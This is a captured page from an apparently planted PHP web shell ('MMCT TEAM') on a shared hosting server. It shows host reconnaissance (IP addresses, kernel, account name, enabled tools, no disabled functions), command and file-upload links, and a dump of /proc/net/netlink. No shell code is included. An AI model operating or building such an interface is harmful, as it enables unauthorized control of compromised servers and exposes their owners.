MMCT TEAM
Server IP : 111.118.215.156  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux md-in-26.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : azasoqqa ( 1858)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/net/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/net/netlink
sk               Eth Pid        Groups   Rmem     Wmem     Dump  Locks    Drops    Inode
0000000000000000 0   598799     00000110 0        0        0     2        0        655220998
0000000000000000 0   598470     00000771 0        0        0     2        0        655212448
0000000000000000 0   598948     00020100 0        0        0     2        0        655220551
0000000000000000 0   0          00000000 0        0        0     2        0        17      
0000000000000000 0   598689     00000111 0        0        0     2        0        655215908
0000000000000000 0   1010194    00020ff8 0        0        0     2        0        1149171784
0000000000000000 4   0          00000000 0        0        0     2        0        1188    
0000000000000000 6   0          00000000 0        0        0     2        0        1189    
0000000000000000 7   0          00000000 0        0        0     2        0        9838    
0000000000000000 9   632        00000000 0        0        0     2        0        13222   
0000000000000000 9   1          00000000 0        0        0     2        0        50632133
0000000000000000 9   0          00000000 0        0        0     2        0        18      
0000000000000000 10  0          00000000 0        0        0     2        0        8182    
0000000000000000 11  0          00000000 0        0        0     2        0        32      
0000000000000000 12  0          00000000 0        0        0     2        0        20855   
0000000000000000 15  0          00000000 0        0        0     2        0        22      
0000000000000000 15  2434835392 00000001 0        0        0     2        0        1912398090
0000000000000000 15  233641     00000002 0        0        0     2        0        50998526
0000000000000000 15  2400922240 00000002 0        0        0     2        0        50998529
0000000000000000 15  63454      00000002 0        0        0     2        0        3397047380
0000000000000000 15  4071727309 00000002 0        0        0     2        0        50998528
0000000000000000 15  2603168256 00000002 0        0        0     2        0        50998527
0000000000000000 15  1          00000002 0        0        0     2        0        50627231
0000000000000000 16  234786     00000002 0        0        0     2        0        51011286
0000000000000000 16  0          00000000 0        0        0     2        0        40      
0000000000000000 18  0          00000000 0        0        0     2        0        35      

MMCT - 2023